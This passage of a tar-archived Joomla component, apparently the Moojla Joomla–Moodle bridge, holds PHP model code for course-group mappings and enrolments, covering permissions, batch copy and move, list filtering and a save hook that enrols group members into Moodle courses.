'com_moojla.course_group_map.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.course_group_map.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_course_group_map'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.course_group_map.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.course_group_map',
$data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{

/***[JCBGUI.admin_view.php_before_delete.135.$$$$]***/
//beforedelete/***[/JCBGUI$$$$]***/

		if (!parent::delete($pks))
		{
			return false;
		}


/***[JCBGUI.admin_view.php_after_delete.135.$$$$]***/
//afterdelete/***[/JCBGUI$$$$]***/

		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			=
MoojlaHelper::getActions('course_group_map');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		=
MoojlaHelper::getActions('course_group_map');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->moojlacourse)
&& !is_numeric($this->table->moojlacourse))
			{
				$this->table->moojlacourse =
$this->generateUnique('moojlacourse',$this->table->moojlacourse);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		=
MoojlaHelper::getActions('course_group_map');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}


/***[JCBGUI.admin_view.php_save.135.$$$$]***/
  $db = JFactory::getDbo();

  $query = $db->getQuery(true);

  $query->select($db->quoteName('user_id'));
  $query->from($db->quoteName('#__user_usergroup_map'));
  $query->where($db->quoteName('group_id') . ' =
' . $db->quote($data['course_group']));
  $db->setQuery($query);
  $results = (array)$db->loadObjectList();

  JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
  $dataObj = array(
    "wsfunction"          =>
"moojla_multiple_enrol_users",
    "moodlewsrestformat"  => "json",
    "roleid"		=> $data['role'], 
    "courseid"	=> $data['moojlacourse'],
    "enrolments"			=> array()
  );

  foreach($results as $result)
  {
    $mid = MoojlaHelper::joomlaToMoodleID($result->user_id);
    if($mid)
    {
      $dataObj['enrolments'][] = array(
        "userid"		=> $mid,
      );
    }
  }

  $res = MoojlaHelper::sendRequestToMoodle($dataObj);
/***[/JCBGUI$$$$]***/

        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/course_group_maps.php000064400000026765151165724400012321
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_maps.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course_group_maps Model
 */
class MoojlaModelCourse_group_maps extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.role','role',
				'g.fullname','moojlacourse',
				'h.title','course_group'
			);
		}

		parent::__construct($config);
	}


/***[JCBGUI.admin_view.php_model_list.135.$$$$]***/
public function group_users($group_id)
{
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);

    $query->select('count(*) as num_of_group_users');
    $query->from($db->quoteName('#__user_usergroup_map',
'ugm'));
   
$query->where($db->quoteName('ugm.group_id').'='.$db->quote($group_id));

    $db->setQuery($query);
    $result = $db->loadObject();
    
  return "<span style='background: #43a4c1;color:
#fff;border-radius: 9px;padding: 2px
9px'>{$result->num_of_group_users}
".JText::_('COM_MOOJLA_GROUP_USERS')."</span>";
}

public function group_courses($group_id, $course_id)
{

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);

    $query->select('id');
   
$query->from($db->quoteName('#__moojla_course_group_map',
'mgm'));
   
$query->where($db->quoteName('mgm.course_group').'='.$db->quote($group_id));

    $db->setQuery($query);

    $results = $db->loadObjectList();

    if (count($results) > 1)
    {
        $html= jtext::_('COM_MOOJLA_GROUP_TOTAL_COURSES')."
<span style='background: #f20d38;color: #fff;border-radius:
9px;padding: 2px 9px'>".count($results)."</span>
".jtext::_('COM_MOOJLA_ROW_ID');

        foreach ($results as $result) {
            $html .= "<span style='background: #48a835;color:
#fff;border-radius: 9px;padding: 2px
9px'>{$result->id}</span> ";
        }
        return $html;
    }
}/***[/JCBGUI$$$$]***/


	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$role = $this->getUserStateFromRequest($this->context .
'.filter.role', 'filter_role');
		if ($formSubmited)
		{
			$role = $app->input->post->get('role');
			$this->setState('filter.role', $role);
		}

		$moojlacourse = $this->getUserStateFromRequest($this->context .
'.filter.moojlacourse', 'filter_moojlacourse');
		if ($formSubmited)
		{
			$moojlacourse =
$app->input->post->get('moojlacourse');
			$this->setState('filter.moojlacourse', $moojlacourse);
		}

		$course_group = $this->getUserStateFromRequest($this->context .
'.filter.course_group', 'filter_course_group');
		if ($formSubmited)
		{
			$course_group =
$app->input->post->get('course_group');
			$this->setState('filter.course_group', $course_group);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

		// set selection value to a translatable value
		if (MoojlaHelper::checkArray($items))
		{
			foreach ($items as $nr => &$item)
			{
				// convert role
				$item->role = $this->selectionTranslation($item->role,
'role');
			}
		}

        
		// return items
		return $items;
	}

	/**
	 * Method to convert selection values to translatable string.
	 *
	 * @return translatable string
	 */
	public function selectionTranslation($value,$name)
	{
		// Array of role language strings
		if ($name === 'role')
		{
			$roleArray = array(
				0 => 'COM_MOOJLA_COURSE_GROUP_MAP_SELECT_ROLE',
				5 => 'COM_MOOJLA_COURSE_GROUP_MAP_STUDENT',
				3 => 'COM_MOOJLA_COURSE_GROUP_MAP_TEACHER',
				1 => 'COM_MOOJLA_COURSE_GROUP_MAP_MANAGER'
			);
			// Now check if value is found in this array
			if (isset($roleArray[$value]) &&
MoojlaHelper::checkString($roleArray[$value]))
			{
				return $roleArray[$value];
			}
		}
		return $value;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_course_group_map',
'a'));

		// From the moojla_course table.
		$query->select($db->quoteName('g.fullname','moojlacourse_fullname'));
		$query->join('LEFT',
$db->quoteName('#__moojla_course', 'g') . ' ON
(' . $db->quoteName('a.moojlacourse') . ' = ' .
$db->quoteName('g.remoteid') . ')');

		// From the usergroups table.
		$query->select($db->quoteName('h.title','course_group_title'));
		$query->join('LEFT',
$db->quoteName('#__usergroups', 'h') . ' ON
(' . $db->quoteName('a.course_group') . ' = ' .
$db->quoteName('h.id') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.moojlacourse LIKE '.$search.' OR
g.fullname LIKE '.$search.' OR a.course_group LIKE
'.$search.' OR h.title LIKE '.$search.')');
			}
		}

		// Filter by Role.
		$_role = $this->getState('filter.role');
		if (is_numeric($_role))
		{
			if (is_float($_role))
			{
				$query->where('a.role = ' . (float) $_role);
			}
			else
			{
				$query->where('a.role = ' . (int) $_role);
			}
		}
		elseif (MoojlaHelper::checkString($_role))
		{
			$query->where('a.role = ' .
$db->quote($db->escape($_role)));
		}
		elseif (MoojlaHelper::checkArray($_role))
		{
			// Secure the array for the query
			$_role = array_map( function ($val) use(&$db) {
				if (is_numeric($val))
				{
					if (is_float($val))
					{
						return (float) $val;
					}
					else
					{
						return (int) $val;
					}
				}
				elseif (MoojlaHelper::checkString($val))
				{
					return $db->quote($db->escape($val));
				}
			}, $_role);
			// Filter by the Role Array.
			$query->where('a.role IN (' . implode(',',
$_role) . ')');
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		// Check if the value is an array
		$_role = $this->getState('filter.role');
		if (MoojlaHelper::checkArray($_role))
		{
			$id .= ':' . implode(':', $_role);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_role)
		 || MoojlaHelper::checkString($_role))
		{
			$id .= ':' . $_role;
		}
		$id .= ':' .
$this->getState('filter.moojlacourse');
		$id .= ':' .
$this->getState('filter.course_group');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_course_group_map'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_course_group_map'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/enrolment.php000064400000051145151165724400010556 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolment.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Enrolment Model
 */
class MoojlaModelEnrolment extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'moojlacourse',
				'role'
			),
			'right' => array(
				'jid',
				'enrolldate'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.enrolment';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'enrolment', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.enrolment',
'enrolment', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.enrolment.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/enrolment.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.enrolment.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
